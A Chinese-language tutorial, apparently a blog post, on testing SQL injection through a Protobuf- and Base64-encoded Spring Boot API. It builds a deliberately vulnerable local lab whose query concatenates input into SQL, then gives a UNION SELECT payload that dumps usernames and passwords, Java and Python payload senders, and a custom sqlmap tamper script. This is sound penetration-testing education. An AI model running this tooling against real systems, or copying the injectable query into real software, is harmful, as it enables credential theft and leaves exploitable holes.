ProtoBuf介紹
protocol buffers 是一種語言無關、平台無關、可擴展的序列化結構數據的方法,它可用於(數據)通信協議、數據存儲等。
Protocol Buffers 是一種靈活,高效,自動化機制的結構數據序列化方法-可類比 XML,但是比 XML 更小(3 ~ 10倍)、更快(20 ~ 100倍)、更為簡單。
因此具有以下特點:
-
語言無關、平台無關。即 ProtoBuf 支持 Java、C++、Python 等多種語言,支持多個平台
-
高效。即比 XML 更小(3 ~ 10倍)、更快(20 ~ 100倍)、更為簡單
-
擴展性、兼容性好。你可以更新數據結構,而不影響和破壞原有的舊程序
Java API環境編寫
這里使用的環境是ProtoBuf 3.12.0
<dependency> <groupId>com.google.protobuf</groupId> <artifactId>protobuf-java</artifactId> <version>3.12.0</version> </dependency>
商定的Proto協議如下,並將其放到resource目錄下
syntax="proto2"; package com.mavenweb.vuln; option java_package = "com.mavenweb.vuln.pojo"; option java_multiple_files=true; option java_outer_classname="User"; message UserInfo { optional string name = 1; }
如果不想通過protoc的二進制文件來生成對應的Java文件,可以跟我一樣通過Maven插件的方式來自生成Java文件。首先添加如下插件內容到Pom.xml文件中
<build> <extensions> <extension> <groupId>kr.motd.maven</groupId> <artifactId>os-maven-plugin</artifactId> <version>1.5.0.Final</version> </extension> </extensions> <plugins> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> </plugin> <plugin> <groupId>org.xolstice.maven.plugins</groupId> <artifactId>protobuf-maven-plugin</artifactId> <version>0.6.1</version> <configuration> <protocArtifact>com.google.protobuf:protoc:3.12.0:exe:${os.detected.classifier}</protocArtifact> <pluginId>grpc-java</pluginId> <pluginArtifact>io.grpc:protoc-gen-grpc-java:1.32.1:exe:${os.detected.classifier}</pluginArtifact> <protoSourceRoot>src/main/resources</protoSourceRoot> <outputDirectory>src/main/java</outputDirectory> <clearOutputDirectory>false</clearOutputDirectory> </configuration> <executions> <execution> <goals> <goal>compile</goal> <goal>compile-custom</goal> </goals> </execution> </executions> </plugin> </plugins> </build>
添加完成之后,打開IDEA,找到Maven中的Protobuf插件

之后模擬真實環境編寫一個數據庫查詢管理員信息的API接口
package com.mavenweb.vuln.controller; import com.google.protobuf.InvalidProtocolBufferException; import com.mavenweb.vuln.pojo.UserInfo; import com.mavenweb.vuln.service.SearchByName; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.*; import java.util.Base64; import java.util.List; @RestController @RequestMapping("/") public class ProtoController { @Autowired private SearchByName searchByName; @GetMapping("/show") @ResponseBody public String show() { return "Hello World"; } @ResponseBody @PostMapping("/search") public String SearchByUsername(@RequestBody String body){ //Base64 解密 byte[] bytes = Base64.getDecoder().decode(body); try { UserInfo info = UserInfo.parseFrom(bytes); List<String> rs = searchByName.getList(info.getName()); return rs.toString(); }catch (InvalidProtocolBufferException e){ e.printStackTrace(); } return "haha"; } }
getList的實現代碼如下:
package com.mavenweb.vuln.service; import com.alibaba.fastjson.JSON; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.jdbc.core.JdbcTemplate; import org.springframework.jdbc.core.RowMapper; import org.springframework.stereotype.Service; import java.sql.ResultSet; import java.sql.SQLException; import java.util.ArrayList; import java.util.List; @Service public class SearchByName { @Autowired private JdbcTemplate jdbcTemplate; public List<String> getList(String name) { String sql = "select id,username,email,role from user where username = '" + name + "'"; return (List<String>) jdbcTemplate.query(sql, new RowMapper<String>() { @Override public String mapRow(ResultSet rs, int rowNum) throws SQLException { List<String> listOfUserInfo = new ArrayList<>(); listOfUserInfo.add(String.valueOf(rs.getInt("id"))); listOfUserInfo.add(rs.getString("username")); listOfUserInfo.add(rs.getString("email")); listOfUserInfo.add(rs.getString("role")); return JSON.toJSONString(listOfUserInfo); } }); } }

至此整個環境就搭建完成。
這里我用的是Burp的python插件,在捕獲請求的時候就會解析對應的protobuf數據流並呈現對應的鍵值。
插件下載地址:https://github.com/mwielgoszewski/burp-protobuf-decoder
設置好burp插件

但是還是發現有些許錯誤導致插件安裝失敗,這里我將我遇到的坑也記錄下來
UnicodeDecodeError: 'unicodeescape' codec can't decode bytes in position 1-7: illegal Unicode character
錯誤是在protobuf/python/google/protobuf/internal/decoder.py文件的92行
_SURROGATE_PATTERN = re.compile(six.u(r'[\ud800-\udfff]'))
我的解決方案就是將[\ud800-\udfff]改成[\\ud800-\\udfff],再然后就是burp安裝插件的時候Error輸出
Error calling protoc:
原因是沒有找到你本地的protoc二進制文件

在py文件中將所有的路徑前面都加上絕對路徑就可以了
手動解析Protobuf數據流
但是不知道為何,我的ProtoBuf一直提示"Failed to parse input."。所以我這里就只好自己手動解析(說是手動解析,其實只是閱讀了protoburp.py依葫蘆畫瓢寫的)
protoc的--decode_raw參數是可以將獲取的數據流信息以格式化的方式呈現出來

import base64 import subprocess try: decoded_bytes = base64.b64decode("CgVhZG1pbg==") process = subprocess.Popen(['F:\\Program Files\\protobuf\\bin\\protoc.exe', '--decode_raw'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) output, error = process.communicate(decoded_bytes) print ("Result:\n" + str(output)) except KeyboardInterrupt: pass

編寫注入腳本
針對剛才的環境編寫對應的數據包修改發送工具
import com.mavenweb.vuln.pojo.UserInfo; import okhttp3.*; import java.io.IOException; import java.util.Base64; public class TestMain { public static void main(String[] args) { UserInfo.Builder builder = UserInfo.newBuilder(); builder.setName("admin' and 1=2 union select 1,group_concat(id,\";\",username,\";\",password,\"=\"),3,4 from user #"); UserInfo userInfo = builder.build(); System.out.println("Send Payload:"+userInfo.getName()); //序列化 byte[] bytes = userInfo.toByteArray(); //Base64 加密 String encoded = Base64.getEncoder().encodeToString(bytes); sendPost(encoded); } public static void sendPost(String payload) { OkHttpClient client = new OkHttpClient().newBuilder() .build(); MediaType mediaType = MediaType.parse("text/plain"); RequestBody body = RequestBody.create(mediaType, payload); Request request = new Request.Builder() .url("http://localhost:8080/search") .method("POST", body) .addHeader("Content-Type", "text/plain") .build(); try { Response response = client.newCall(request).execute(); System.out.println("Rs:"+response.body().string()); }catch (IOException e){ e.printStackTrace(); } } }

成功列出數據庫中所有的賬號密碼,這個過程唯一重要的就是需要人工自己解釋Proto文件的格式
syntax="proto2"; package vuln; message Msg { optional string username = 1; }
然后執行
protoc.exe -I=. --python_out=. ./msg.proto
會生成一個msg_pb2.py文件
編寫一個Python的Payload生成腳本:
from base64 import b64encode, b64decode import msg_pb2 import struct def encode(array): products = msg_pb2.Msg() for arr in array: products.username = str(arr) serializedString = products.SerializeToString() serializedString = b64encode(serializedString).decode("utf-8") return serializedString payload = encode([('admin\' and 1=2 union select 1,group_concat(id,";",username,";",password,"="),3,4 from user #')]) print(payload)

編寫Sqlmap的Tamper
編寫Tamper最主要的就是重寫tamper函數,函數原型如下:
def tamper(payload, **kwargs)
這里的kwargs是一個字典,結構如下
{'headers': {}, 'delimiter': '&', 'hints': {}}
eaders就是自定義的請求頭,而payload就是需要修改的payload。
根據上個小節的python生成payload腳本修改,編寫如下tamper
from lib.core.data import kb from lib.core.enums import PRIORITY import base64 import struct import msg_pb2 __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): retVal = payload if payload: # Instantiating objects products = msg_pb2.Msg() products.username = payload # Encoding the serialized string in base64 serializedString = products.SerializeToString() b64serialized = base64.b64encode(serializedString).decode("utf-8") retVal = b64serialized return retVal
將編寫好的tamper和proto生成的py文件一起放入sqlmap的tamper目錄下
並添加一個sql.txt文本
POST /search HTTP/1.1
Host: localhost:8080
Content-Type: application/x-protobuf
Content-Length: 128
*
然后運行sqlmap
python sqlmap.py -r E:\sql.txt --tamper=protobuf_base64 --level 3 --dbs

Reference
[1].https://www.jianshu.com/p/a24c88c0526a
[2].https://my.oschina.net/pierrecai/blog/1329878
[3].https://portswigger.net/burp/extender/api/burp/imessageeditor.html
[4].https://developers.google.com/protocol-buffers/docs/javatutorial
[5].https://www.cnblogs.com/Cl0ud/p/14394627.html
[6].https://aptw.tf/2021/10/27/exploiting-protobuf-webapps.html
